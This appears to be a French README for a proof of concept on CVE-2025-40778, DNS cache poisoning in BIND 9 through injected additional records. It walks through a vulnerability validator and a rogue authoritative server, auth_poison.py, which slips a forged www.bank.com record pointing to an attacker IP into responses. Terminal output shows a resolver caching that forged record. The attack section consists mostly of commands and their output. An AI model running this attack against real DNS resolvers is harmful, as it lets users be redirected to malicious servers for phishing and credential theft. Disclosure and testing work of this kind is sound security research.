
Preuve de concept démontrant l'empoisonnement du cache DNS via l'injection d'enregistrements supplémentaires dans BIND 9, avec des outils pour valider et exploiter CVE-2025-40778 pour des tests de sécurité autorisés.
Démonstration pédagogique de la vulnérabilité d'empoisonnement du cache DNS via l'injection d'enregistrements additionnels.
UNIQUEMENT À DES FINS ÉDUCATIVES
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale et contraire à l'éthique.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
Cette preuve de concept démontre comment un serveur DNS faisant autorité compromis peut injecter des enregistrements empoisonnés dans les réponses DNS, redirigeant potentiellement les utilisateurs vers des serveurs malveillants à leur insu.
Vecteur d'attaque :
Scénarios possibles :
👤 Auteur et contact
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Cet outil détecte s'il est possible d'exploiter la vulnérabilité CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Description : Dans cette étape, vous lancez le serveur DNS faisant autorité malveillant qui simule un serveur de noms compromis. Le serveur écoute sur une adresse IP et un port spécifiques (127.0.0.2:5301), prêt à injecter des enregistrements DNS empoisonnés dans les réponses. Une fois configuré, il répondra aux requêtes légitimes pour www.test.local avec l'adresse IP correcte, mais injectera simultanément un enregistrement malveillant pour www.bank.com pointant vers une adresse IP contrôlée par l'attaquant. Ce comportement de double réponse est au cœur de l'attaque d'empoisonnement du cache : le résolveur DNS vulnérable mettra en cache à la fois la réponse légitime et l'enregistrement empoisonné, même si un seul domaine a été demandé.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Description : Ici, vous effectuez une requête DNS standard via votre résolveur local (BIND) pour vérifier que l'infrastructure fonctionne correctement. La requête pour www.test.local doit renvoyer l'adresse IP légitime (192.168.0.136) comme prévu. À ce stade, la réponse semble normale pour l'utilisateur final — aucun signe visible de compromission. Cependant, en coulisses, le résolveur DNS vulnérable a déjà mis en cache les deux enregistrements : celui légitime que vous avez demandé ET l'enregistrement empoisonné pour www.bank.com qui a été injecté dans la section additionnelle de la réponse. Cette étape confirme que votre résolveur DNS a communiqué avec succès avec le serveur faisant autorité malveillant et a traité sa réponse.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87